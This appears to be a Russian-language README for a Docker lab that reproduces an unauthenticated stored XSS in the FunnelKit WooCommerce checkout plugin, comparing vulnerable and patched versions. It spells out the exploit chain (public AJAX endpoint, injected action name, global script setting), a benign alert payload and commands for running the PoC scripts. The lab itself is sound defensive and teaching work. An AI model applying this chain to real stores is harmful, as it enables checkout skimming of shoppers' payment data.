
Локальная Docker-лаборатория для воспроизведения CVE-2026-47100 — неаутентифицированное Stored XSS в FunnelKit для WooCommerce. Включает PoC-скрипты для сравнения уязвимой и исправленной версий.
Локальная Docker-лаборатория для воспроизведения CVE-2026-47100 безопасным способом с минимальным вредом. Эта лаборатория сравнивает уязвимую версию FunnelKit с исправленной и проверяет поведение с помощью безвредного JavaScript-маркера/оповещения.
CVE-2026-47100 — это уязвимость отсутствия авторизации в Funnel Builder / FunnelKit for WooCommerce Checkout до версии 3.15.0.3.
Уязвимый AJAX-поток оформления заказа позволяет неаутентифицированному посетителю вызвать внутренний метод плагина и записать данные во встроенную настройку глобального внешнего скрипта FunnelKit. Поскольку эта настройка позже отображается на страницах оформления заказа FunnelKit, проблема может стать неаутентифицированным Stored XSS на страницах оформления заказа.
Этот репозиторий воспроизводит проблему локально с помощью двух Docker-сервисов:
| Сервис | Версия | URL | Ожидаемый результат |
|---|---|---|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | уязвимое поведение подтверждено |
patched | 3.15.0.3 | http://127.0.0.1:8082 | запись заблокирована / маркер не отображается |

Выбор CVE из вывода Vulnx. Лаборатория и PoC были созданы вручную путем сравнения уязвимого и исправленного поведения.
Неаутентифицированный злоумышленник может использовать общедоступный AJAX-поток оформления заказа для сохранения JavaScript в глобальной настройке внешнего скрипта FunnelKit.
В реальном магазине WooCommerce это может позволить выполнить вредоносный JavaScript в браузере пользователей, посещающих страницу оформления заказа. Публичные отчеты связывают этот класс уязвимостей с кампаниями скимминга на страницах оформления заказа.
Эта лаборатория намеренно использует только безвредный маркер доказательства:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
Уязвимая версия принимает данные оформления заказа, контролируемые пользователем, из общедоступной AJAX-конечной точки WooCommerce:
/?wc-ajax=update_order_review
Внутри потока оформления заказа FunnelKit запрос может включать:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
Уязвимая логика проверяет, существует ли указанное имя действия как метод класса. Если метод существует, он может быть вызван из общедоступного потока оформления заказа.
Упрощенное уязвимое поведение:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
Важное контролируемое злоумышленником действие:
update_global_settings_fields
Этот метод обновляет опцию WordPress:
_wfacp_global_settings
и, в частности, встроенный ключ FunnelKit:
wfacp_global_external_script
Сохраненное значение позже считывается шаблоном оформления заказа и отображается на странице оформления заказа. Это создает условие для Stored XSS.
Цепочка эксплуатации:
Неаутентифицированный посетитель страницы оформления заказа
→ публичный AJAX WooCommerce update_order_review
→ wfacp_input_hidden_data[action] под контролем злоумышленника
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script отображается на странице оформления заказа
→ Stored XSS
Версия 3.15.0.3 усиливает уязвимый путь двумя важными изменениями.
Исправленная версия ограничивает действия по оформлению заказа, которые могут быть вызваны из общедоступного потока оформления заказа.
Упрощенное исправленное поведение:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
Это предотвращает вызов произвольных внутренних методов, таких как update_global_settings_fields, из неаутентифицированных запросов оформления заказа.
Исправленная версия также добавляет проверку авторизации перед обновлением глобальных настроек:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
Это означает, что глобальная настройка внешнего скрипта должна быть доступна для записи только пользователям с правами управления WooCommerce.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
Процесс начальной загрузки (seed) создает:
Товар лаборатории
- Товар WooCommerce, используемый для создания действительной корзины/сессии
- ожидаемый ID товара в чистой лаборатории: 10
Воронка оформления заказа лаборатории
- Страница оформления заказа FunnelKit, используемая для запуска AJAX-потока оформления заказа
- ожидаемый ID записи оформления заказа в чистой лаборатории: 11
Лаборатория использует детерминированный URL оформления заказа:
/?post_type=wfacp_checkout&p=11
Это явно загружает пользовательскую запись оформления заказа FunnelKit в локальной Docker-лаборатории.
Запуск лаборатории:
docker compose up -d --build
Проверка сервисов:
docker compose ps
Ожидаемые сервисы:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Установка зависимостей Python:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py — это детерминированный лабораторный PoC.
Он использует значения начальной загрузки локального Docker:
product_id = 10
checkout_post_id = 11
Запуск против уязвимого сервиса:
python3 poc/poc_lab.py http://127.0.0.1:8081
Ожидаемый результат:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Запуск против исправленного сервиса:
python3 poc/poc_lab.py http://127.0.0.1:8082
Ожидаемый результат:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py — это более портативный инструмент авторизованного самотестирования.
Только пассивная проверка:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Активная авторизованная проверка:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Режим только маркера без оповещения:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Попытка очистки:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup